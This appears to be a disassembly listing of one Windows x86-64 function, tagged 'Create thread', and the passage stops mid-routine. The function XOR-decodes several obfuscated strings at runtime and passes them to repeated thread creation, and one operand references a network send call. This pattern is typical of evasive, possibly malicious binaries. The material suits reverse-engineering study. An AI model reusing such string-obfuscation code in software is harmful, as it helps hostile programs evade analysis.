Function at 0x140068300
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1401fd600]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r15, rcx
xor r12d, r12d
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x60], r12
lea rcx, [rsp + 0x50]
call fcn.14006b050
call fcn.14006ae70
mov rsi, rax
cmp byte [rax + 8], r12b
je 0x140068387
xor byte [rax], 0x95
xor byte [rax + 1], 0x57
xor byte [rax + 2], 0x3f
xor byte [rax + 3], 0xd
xor byte [rax + 4], 0x9b
xor byte [rax + 5], 0xbf
xor byte [rax + 6], 0xc7
xor byte [rax + 7], 0xaf
mov byte [rax + 8], r12b
movdqa xmm0, xmmword [0x1401dd000]
mov dword [rbp - 0x20], 0xea0b7529
mov dword [rbp - 0x1c], 0xe2413625
mov word [rbp - 0x18], 0x2506
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0xd28
mov eax, dword [rcx + rdi]
mov ebx, 0x1460
test al, 1
jne 0x14006841d
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rbp - 0x17]
cmp rcx, rdx
ja 0x1400683fb
lea rdx, [rbp - 0x30]
cmp rax, rdx
jb 0x1400683fb
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x20]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp - 0x18]
mov word [rcx + 0x18], ax
jmp 0x140068410
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x20]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp - 0x18]
mov word [rcx + 0x18], ax
lea rcx, [0x14018fb30]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x1a], 0
je 0x140068491
xor byte [rbx], 0x75
xor byte [rbx + 1], 0x25
xor byte [rbx + 2], 0x79
xor byte [rbx + 3], 0x85
xor byte [rbx + 4], 0x43
xor byte [rbx + 5], 0x5f
xor byte [rbx + 6], 0x2d
xor byte [rbx + 7], 0x87
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0x25
xor byte [rbx + 0xa], 0x79
xor byte [rbx + 0xb], 0x85
xor byte [rbx + 0xc], 0x43
xor byte [rbx + 0xd], 0x5f
xor byte [rbx + 0xe], 0x2d
xor byte [rbx + 0xf], 0x87
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0x25
xor byte [rbx + 0x12], 0x79
xor byte [rbx + 0x13], 0x85
xor byte [rbx + 0x14], 0x43
xor byte [rbx + 0x15], 0x5f
xor byte [rbx + 0x16], 0x2d
xor byte [rbx + 0x17], 0x87
xor byte [rbx + 0x18], 0x75
xor byte [rbx + 0x19], 0x25
mov byte [rbx + 0x1a], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r12
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], r15
lea r13, [0x140063df0]
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006acd0
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140068513
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140068523
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ace0
mov ecx, 0x1680
mov eax, dword [rcx + rdi]
mov ebx, 0x1658
test al, 1
jne 0x140068561
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + rdi + 4], 0x1ad2a8e
mov dword [rbx + rdi], 0xd80dbb74
lea rcx, [0x14018fa80]
call fcn.14015b9c0
nop
lea r14, [rdi + rbx]
cmp byte [r14 + 7], 0
je 0x140068593
xor byte [r14], 0x37
xor byte [r14 + 1], 0xd3
xor byte [r14 + 2], 0x7f
xor byte [r14 + 3], 0xb7
xor byte [r14 + 4], 0xe3
xor byte [r14 + 5], 0x4f
xor byte [r14 + 6], 0xad
mov byte [r14 + 7], 0
movdqa xmm0, xmmword [0x1401dcbb0]
mov dword [rbp + 0x20], 0x37ad18dc
mov dword [rbp + 0x24], 0xb6cb8069
mov ecx, 0xe80
mov eax, dword [rcx + rdi]
mov ebx, 0x1598
test al, 1
jne 0x14006860f
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rbx + rdi]
mov byte [rax + 0x19], 1
lea rcx, [rax + 0x18]
lea rdx, [rbp + 0x28]
cmp rax, rdx
ja 0x1400685f1
lea rdx, [rbp + 0x10]
cmp rcx, rdx
jb 0x1400685f1
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x20]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0xaf
jmp 0x140068602
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x20]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], 0xaf
lea rcx, [0x14018fab0]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x19], 0
je 0x14006867f
xor byte [rbx], 0xaf
xor byte [rbx + 1], 0x7d
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 0x17
xor byte [rbx + 4], 0x2d
xor byte [rbx + 5], 0xe1
xor byte [rbx + 6], 0xbf
xor byte [rbx + 7], 0xd7
xor byte [rbx + 8], 0xaf
xor byte [rbx + 9], 0x7d
xor byte [rbx + 0xa], 0xdf
xor byte [rbx + 0xb], 0x17
xor byte [rbx + 0xc], 0x2d
xor byte [rbx + 0xd], 0xe1
xor byte [rbx + 0xe], 0xbf
xor byte [rbx + 0xf], 0xd7
xor byte [rbx + 0x10], 0xaf
xor byte [rbx + 0x11], 0x7d
xor byte [rbx + 0x12], 0xdf
xor byte [rbx + 0x13], 0x17
xor byte [rbx + 0x14], 0x2d
xor byte [rbx + 0x15], 0xe1
xor byte [rbx + 0x16], 0xbf
xor byte [rbx + 0x17], 0xd7
xor byte [rbx + 0x18], 0xaf
mov byte [rbx + 0x19], 0
movdqa xmm0, xmmword [0x1401dcdc0]
movdqa xmm1, xmmword [0x1401dcd60]
mov dword [rbp + 0x210], 0x64c5facf
mov ecx, 0xbf0
mov eax, dword [rcx + rdi]
mov esi, 0xea8
test al, 1
jne 0x14006870b
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x25], 1
lea rax, [rcx + 0x24]
lea rdx, [rbp + 0x214]
cmp rcx, rdx
ja 0x1400686ea
lea rdx, [rbp + 0x1f0]
cmp rax, rdx
jb 0x1400686ea
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x210]
mov dword [rcx + 0x20], eax
mov byte [rcx + 0x24], 0xaf
jmp 0x1400686fe
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x210]
mov dword [rcx + 0x20], eax
mov byte [rcx + 0x24], 0xaf
lea rcx, [0x14018fae0]
call fcn.14015b9c0
nop
add rsi, rdi
cmp byte [rsi + 0x25], 0
je 0x1400687af
xor byte [rsi], 0xbb
xor byte [rsi + 1], 0x9b
xor byte [rsi + 2], 0xb1
xor byte [rsi + 3], 1
xor byte [rsi + 4], 0xaf
xor byte [rsi + 5], 0x8d
xor byte [rsi + 6], 0x31
xor byte [rsi + 7], 0xfb
xor byte [rsi + 8], 0xbb
xor byte [rsi + 9], 0x9b
xor byte [rsi + 0xa], 0xb1
xor byte [rsi + 0xb], 1
xor byte [rsi + 0xc], 0xaf
xor byte [rsi + 0xd], 0x8d
xor byte [rsi + 0xe], 0x31
xor byte [rsi + 0xf], 0xfb
xor byte [rsi + 0x10], 0xbb
xor byte [rsi + 0x11], 0x9b
xor byte [rsi + 0x12], 0xb1
xor byte [rsi + 0x13], 1
xor byte [rsi + 0x14], 0xaf
xor byte [rsi + 0x15], 0x8d
xor byte [rsi + 0x16], 0x31
xor byte [rsi + 0x17], 0xfb
xor byte [rsi + 0x18], 0xbb
xor byte [rsi + 0x19], 0x9b
xor byte [rsi + 0x1a], 0xb1
xor byte [rsi + 0x1b], 1
xor byte [rsi + 0x1c], 0xaf
xor byte [rsi + 0x1d], 0x8d
xor byte [rsi + 0x1e], 0x31
xor byte [rsi + 0x1f], 0xfb
xor byte [rsi + 0x20], 0xbb
xor byte [rsi + 0x21], 0x9b
xor byte [rsi + 0x22], 0xb1
xor byte [rsi + 0x23], 1
xor byte [rsi + 0x24], 0xaf
mov byte [rsi + 0x25], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006acba
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006882a
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006883a
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ace6
mov ecx, 0xf28
mov eax, dword [rcx + rdi]
mov ebx, 0xd70
test al, 1
jne 0x140068877
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + rdi + 2], 0x1874c16
mov word [rbx + rdi], 0x4718
lea rcx, [0x14018fa00]
call fcn.14015b9c0
nop
lea r14, [rbx + rdi]
cmp byte [r14 + 5], 0
je 0x14006889f
xor byte [r14], 0x5d
xor byte [r14 + 1], 0x23
xor byte [r14 + 2], 0x71
xor byte [r14 + 3], 0x29
xor byte [r14 + 4], 0x87
mov byte [r14 + 5], 0
movdqa xmm0, xmmword [0x1401dc8c0]
mov dword [rbp], 0xa378e064
mov dword [rbp + 4], 0x15e63b17
mov word [rbp + 8], 0x9350
mov ecx, 0x111c
mov eax, dword [rcx + rdi]
mov ebx, 0x1628
test al, 1
jne 0x140068929
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rbp + 9]
cmp rcx, rdx
ja 0x140068907
lea rdx, [rbp - 0x10]
cmp rax, rdx
jb 0x140068907
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 8]
mov word [rcx + 0x18], ax
jmp 0x14006891c
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 8]
mov word [rcx + 0x18], ax
lea rcx, [0x14018fa20]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x1a], 0
je 0x14006899d
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x93
xor byte [rbx + 2], 0x1d
xor byte [rbx + 3], 0xd1
xor byte [rbx + 4], 0x37
xor byte [rbx + 5], 0x7f
xor byte [rbx + 6], 0x87
xor byte [rbx + 7], 0x61
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x93
xor byte [rbx + 0xa], 0x1d
xor byte [rbx + 0xb], 0xd1
xor byte [rbx + 0xc], 0x37
xor byte [rbx + 0xd], 0x7f
xor byte [rbx + 0xe], 0x87
xor byte [rbx + 0xf], 0x61
xor byte [rbx + 0x10], 0x31
xor byte [rbx + 0x11], 0x93
xor byte [rbx + 0x12], 0x1d
xor byte [rbx + 0x13], 0xd1
xor byte [rbx + 0x14], 0x37
xor byte [rbx + 0x15], 0x7f
xor byte [rbx + 0x16], 0x87
xor byte [rbx + 0x17], 0x61
xor byte [rbx + 0x18], 0x31
xor byte [rbx + 0x19], 0x93
mov byte [rbx + 0x1a], 0
movdqa xmm0, xmmword [0x1401dc910]
movdqa xmm1, xmmword [0x1401dc8e0]
mov dword [rbp + 0x160], 0xcf62a912
mov word [rbp + 0x164], 0xb5ec
mov ecx, 0xbf8
mov eax, dword [rcx + rdi]
mov esi, 0xc68
test al, 1
jne 0x140068a40
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x26], 1
lea rax, [rcx + 0x25]
lea rdx, [rbp + 0x165]
cmp rcx, rdx
ja 0x140068a18
lea rdx, [rbp + 0x140]
cmp rax, rdx
jb 0x140068a18
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x160]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x164]
mov word [rcx + 0x24], ax
jmp 0x140068a33
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x160]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x164]
mov word [rcx + 0x24], ax
lea rcx, [0x14018fa50]
call fcn.14015b9c0
nop
add rsi, rdi
cmp byte [rsi + 0x26], 0
je 0x140068ae8
xor byte [rsi], 0x41
xor byte [rsi + 1], 0xdd
xor byte [rsi + 2], 3
xor byte [rsi + 3], 0xbb
xor byte [rsi + 4], 0x89
xor byte [rsi + 5], 0xb5
xor byte [rsi + 6], 0xf9
xor byte [rsi + 7], 0x1f
xor byte [rsi + 8], 0x41
xor byte [rsi + 9], 0xdd
xor byte [rsi + 0xa], 3
xor byte [rsi + 0xb], 0xbb
xor byte [rsi + 0xc], 0x89
xor byte [rsi + 0xd], 0xb5
xor byte [rsi + 0xe], 0xf9
xor byte [rsi + 0xf], 0x1f
xor byte [rsi + 0x10], 0x41
xor byte [rsi + 0x11], 0xdd
xor byte [rsi + 0x12], 3
xor byte [rsi + 0x13], 0xbb
xor byte [rsi + 0x14], 0x89
xor byte [rsi + 0x15], 0xb5
xor byte [rsi + 0x16], 0xf9
xor byte [rsi + 0x17], 0x1f
xor byte [rsi + 0x18], 0x41
xor byte [rsi + 0x19], 0xdd
xor byte [rsi + 0x1a], 3
xor byte [rsi + 0x1b], 0xbb
xor byte [rsi + 0x1c], 0x89
xor byte [rsi + 0x1d], 0xb5
xor byte [rsi + 0x1e], 0xf9
xor byte [rsi + 0x1f], 0x1f
xor byte [rsi + 0x20], 0x41
xor byte [rsi + 0x21], 0xdd
xor byte [rsi + 0x22], 3
xor byte [rsi + 0x23], 0xbb
xor byte [rsi + 0x24], 0x89
xor byte [rsi + 0x25], 0xb5
mov byte [rsi + 0x26], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae5e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140068b63
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140068b73
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006acec
mov ecx, 0xc3c
mov eax, dword [rcx + rdi]
mov ebx, 0xcb0
test al, 1
jne 0x140068bb5
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + rdi + 5], 0x1e5
mov dword [rbx + rdi], 0x23343bd8
mov byte [rbx + rdi + 4], 0x1c
lea rcx, [0x14018f980]
call fcn.14015b9c0
nop
lea r14, [rbx + rdi]
cmp byte [r14 + 6], 0
je 0x140068be2
xor byte [r14], 0x97
xor byte [r14 + 1], 0x4b
xor byte [r14 + 2], 0x51
xor byte [r14 + 3], 0x51
xor byte [r14 + 4], 0x7d
xor byte [r14 + 5], 0xe5
mov byte [r14 + 6], 0
movdqa xmm0, xmmword [0x1401dc790]
mov dword [rbp - 0x60], 0x6b1c0fc8
mov dword [rbp - 0x5c], 0x3feccfb8
mov dword [rbp - 0x58], 0x7c151de6
mov ecx, 0xb98
mov eax, dword [rcx + rdi]
mov ebx, 0xf88
test al, 1
jne 0x140068c71
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp - 0x54]
cmp rcx, rdx
ja 0x140068c4d
lea rdx, [rbp - 0x70]
cmp rax, rdx
jb 0x140068c4d
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x60]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xd9
jmp 0x140068c64
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x60]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xd9
lea rcx, [0x14018f9a0]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x1d], 0
je 0x140068cf1
xor byte [rbx], 0x87
xor byte [rbx + 1], 0x7f
xor byte [rbx + 2], 0x79
xor byte [rbx + 3], 0x19
xor byte [rbx + 4], 0xd9
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0xbf
xor byte [rbx + 7], 0x4b
xor byte [rbx + 8], 0x87
xor byte [rbx + 9], 0x7f
xor byte [rbx + 0xa], 0x79
xor byte [rbx + 0xb], 0x19
xor byte [rbx + 0xc], 0xd9
xor byte [rbx + 0xd], 0xef
xor byte [rbx + 0xe], 0xbf
xor byte [rbx + 0xf], 0x4b
xor byte [rbx + 0x10], 0x87
xor byte [rbx + 0x11], 0x7f
xor byte [rbx + 0x12], 0x79
xor byte [rbx + 0x13], 0x19
xor byte [rbx + 0x14], 0xd9
xor byte [rbx + 0x15], 0xef
xor byte [rbx + 0x16], 0xbf
xor byte [rbx + 0x17], 0x4b
xor byte [rbx + 0x18], 0x87
xor byte [rbx + 0x19], 0x7f
xor byte [rbx + 0x1a], 0x79
xor byte [rbx + 0x1b], 0x19
xor byte [rbx + 0x1c], 0xd9
mov byte [rbx + 0x1d], 0
movdqa xmm0, xmmword [str._a__f]
movdqa xmm1, xmmword [0x1401dcec0]
mov dword [rbp + 0x1b0], 0x3a79093a
mov dword [rbp + 0x1b4], 0xdcc55aff
mov ecx, 0x154c
mov eax, dword [rcx + rdi]
mov esi, 0xd30
test al, 1
jne 0x140068d8f
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rsi + rdi]
mov byte [rax + 0x29], 1
lea rcx, [rax + 0x28]
lea rdx, [rbp + 0x1b8]
cmp rax, rdx
ja 0x140068d6a
lea rdx, [rbp + 0x190]
cmp rcx, rdx
jb 0x140068d6a
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1b0]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0x5b
jmp 0x140068d82
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1b0]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0x5b
lea rcx, [0x14018f9d0]
call fcn.14015b9c0
nop
add rsi, rdi
cmp byte [rsi + 0x29], 0
je 0x140068e43
xor byte [rsi], 0x5b
xor byte [rsi + 1], 0x65
xor byte [rsi + 2], 0x59
xor byte [rsi + 3], 0x69
xor byte [rsi + 4], 0x8b
xor byte [rsi + 5], 0x3b
xor byte [rsi + 6], 0xb1
xor byte [rsi + 7], 0xb9
xor byte [rsi + 8], 0x5b
xor byte [rsi + 9], 0x65
xor byte [rsi + 0xa], 0x59
xor byte [rsi + 0xb], 0x69
xor byte [rsi + 0xc], 0x8b
xor byte [rsi + 0xd], 0x3b
xor byte [rsi + 0xe], 0xb1
xor byte [rsi + 0xf], 0xb9
xor byte [rsi + 0x10], 0x5b
xor byte [rsi + 0x11], 0x65
xor byte [rsi + 0x12], 0x59
xor byte [rsi + 0x13], 0x69
xor byte [rsi + 0x14], 0x8b
xor byte [rsi + 0x15], 0x3b
xor byte [rsi + 0x16], 0xb1
xor byte [rsi + 0x17], 0xb9
xor byte [rsi + 0x18], 0x5b
xor byte [rsi + 0x19], 0x65
xor byte [rsi + 0x1a], 0x59
xor byte [rsi + 0x1b], 0x69
xor byte [rsi + 0x1c], 0x8b
xor byte [rsi + 0x1d], 0x3b
xor byte [rsi + 0x1e], 0xb1
xor byte [rsi + 0x1f], 0xb9
xor byte [rsi + 0x20], 0x5b
xor byte [rsi + 0x21], 0x65
xor byte [rsi + 0x22], 0x59
xor byte [rsi + 0x23], 0x69
xor byte [rsi + 0x24], 0x8b
xor byte [rsi + 0x25], 0x3b
xor byte [rsi + 0x26], 0xb1
xor byte [rsi + 0x27], 0xb9
xor byte [rsi + 0x28], 0x5b
mov byte [rsi + 0x29], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae4e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140068ebe
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140068ece
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006acf2
mov ecx, 0x1664
mov eax, dword [rcx + rdi]
mov ebx, 0xbb8
test al, 1
jne 0x140068f17
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + rdi + 7], 0x173
mov dword [rbx + rdi], 0x45881532
mov word [rbx + rdi + 4], 0xc4b6
mov byte [rbx + rdi + 6], reloc.WS2_32.dll_send
lea rcx, [0x14018f8f0]
call fcn.14015b9c0
nop
lea rsi, [rbx + rdi]
cmp byte [rsi + 8], 0
je 0x140068f44
xor byte [rsi], 0x7d
xor byte [rsi + 1], 0x65
xor byte [rsi + 2], 0xed
xor byte [rsi + 3], 0x37
xor byte [rsi + 4], 0xd7
xor byte [rsi + 5], 0x83
xor byte [rsi + 6], 0x4b
xor byte [rsi + 7], 0x73
mov byte [rsi + 8], 0
movdqa xmm0, xmmword [0x1401dcb90]
movdqa xmm1, xmmword [0x1401dced0]
mov ecx, 0x12f0
mov eax, dword [rcx + rdi]
mov ebx, 0x1138
test al, 1
jne 0x140068fac
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rbx + rdi]
mov byte [rax + 0x20], 1
lea rcx, [rax + 0x1f]
lea rdx, [rbp + 0x26f]
cmp rax, rdx
ja 0x140068f98
lea rdx, [rbp + 0x250]
cmp rcx, rdx
jb 0x140068f98
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
jmp 0x140068f9f
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
lea rcx, [0x14018f910]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x20], 0
je 0x14006903c
xor byte [rbx], 1
xor byte [rbx + 1], 0x8f
xor byte [rbx + 2], 0x69
xor byte [rbx + 3], 0x43
xor byte [rbx + 4], 0xd3
xor byte [rbx + 5], 7
xor byte [rbx + 6], 0xc7
xor byte [rbx + 7], 0xdd
xor byte [rbx + 8], 1
xor byte [rbx + 9], 0x8f
xor byte [rbx + 0xa], 0x69
xor byte [rbx + 0xb], 0x43
xor byte [rbx + 0xc], 0xd3
xor byte [rbx + 0xd], 7
xor byte [rbx + 0xe], 0xc7
xor byte [rbx + 0xf], 0xdd
xor byte [rbx + 0x10], 1
xor byte [rbx + 0x11], 0x8f
xor byte [rbx + 0x12], 0x69
xor byte [rbx + 0x13], 0x43
xor byte [rbx + 0x14], 0xd3
xor byte [rbx + 0x15], 7
xor byte [rbx + 0x16], 0xc7
xor byte [rbx + 0x17], 0xdd
xor byte [rbx + 0x18], 1
xor byte [rbx + 0x19], 0x8f
xor byte [rbx + 0x1a], 0x69
xor byte [rbx + 0x1b], 0x43
xor byte [rbx + 0x1c], 0xd3
xor byte [rbx + 0x1d], 7
xor byte [rbx + 0x1e], 0xc7
xor byte [rbx + 0x1f], 0xdd
mov byte [rbx + 0x20], 0
movdqa xmm0, xmmword [0x1401dcb40]
movdqa xmm1, xmmword [0x1401dcb30]
mov dword [rbp + 0x50], 0x9ac2ae33
mov dword [rbp + 0x54], 0x5118876b
mov dword [rbp + 0x58], 0xfbc4b51e
mov ecx, 0xf80
mov eax, dword [rcx + rdi]
mov r14d, 0x12b8
test al, 1
jne 0x1400690d4
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x2c], 1
lea rax, [rcx + 0x2b]
lea rdx, [rbp + 0x5b]
cmp rcx, rdx
ja 0x1400690b0
lea rdx, [rbp + 0x30]
cmp rax, rdx
jb 0x1400690b0
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x50]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x58]
mov dword [rcx + 0x28], eax
jmp 0x1400690c7
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x50]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x58]
mov dword [rcx + 0x28], eax
lea rcx, [0x14018f950]
call fcn.14015b9c0
nop
add r14, rdi
cmp byte [r14 + 0x2c], 0
je 0x1400691c2
xor byte [r14], 0x7f
xor byte [r14 + 1], 0xc1
xor byte [r14 + 2], 0xa1
xor byte [r14 + 3], 0xfb
xor byte [r14 + 4], 7
xor byte [r14 + 5], 0xa7
xor byte [r14 + 6], 0x4b
xor byte [r14 + 7], 0x25
xor byte [r14 + 8], 0x7f
xor byte [r14 + 9], 0xc1
xor byte [r14 + 0xa], 0xa1
xor byte [r14 + 0xb], 0xfb
xor byte [r14 + 0xc], 7
xor byte [r14 + 0xd], 0xa7
xor byte [r14 + 0xe], 0x4b
xor byte [r14 + 0xf], 0x25
xor byte [r14 + 0x10], 0x7f
xor byte [r14 + 0x11], 0xc1
xor byte [r14 + 0x12], 0xa1
xor byte [r14 + 0x13], 0xfb
xor byte [r14 + 0x14], 7
xor byte [r14 + 0x15], 0xa7
xor byte [r14 + 0x16], 0x4b
xor byte [r14 + 0x17], 0x25
xor byte [r14 + 0x18], 0x7f
xor byte [r14 + 0x19], 0xc1
xor byte [r14 + 0x1a], 0xa1
xor byte [r14 + 0x1b], 0xfb
xor byte [r14 + 0x1c], 7
xor byte [r14 + 0x1d], 0xa7
xor byte [r14 + 0x1e], 0x4b
xor byte [r14 + 0x1f], 0x25
xor byte [r14 + 0x20], 0x7f
xor byte [r14 + 0x21], 0xc1
xor byte [r14 + 0x22], 0xa1
xor byte [r14 + 0x23], 0xfb
xor byte [r14 + 0x24], 7
xor byte [r14 + 0x25], 0xa7
xor byte [r14 + 0x26], 0x4b
xor byte [r14 + 0x27], 0x25
xor byte [r14 + 0x28], 0x7f
xor byte [r14 + 0x29], 0xc1
xor byte [r14 + 0x2a], 0xa1
xor byte [r14 + 0x2b], 0xfb
mov byte [r14 + 0x2c], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae3e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006923d
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006924d
lea r8, [rsp + 0x30]
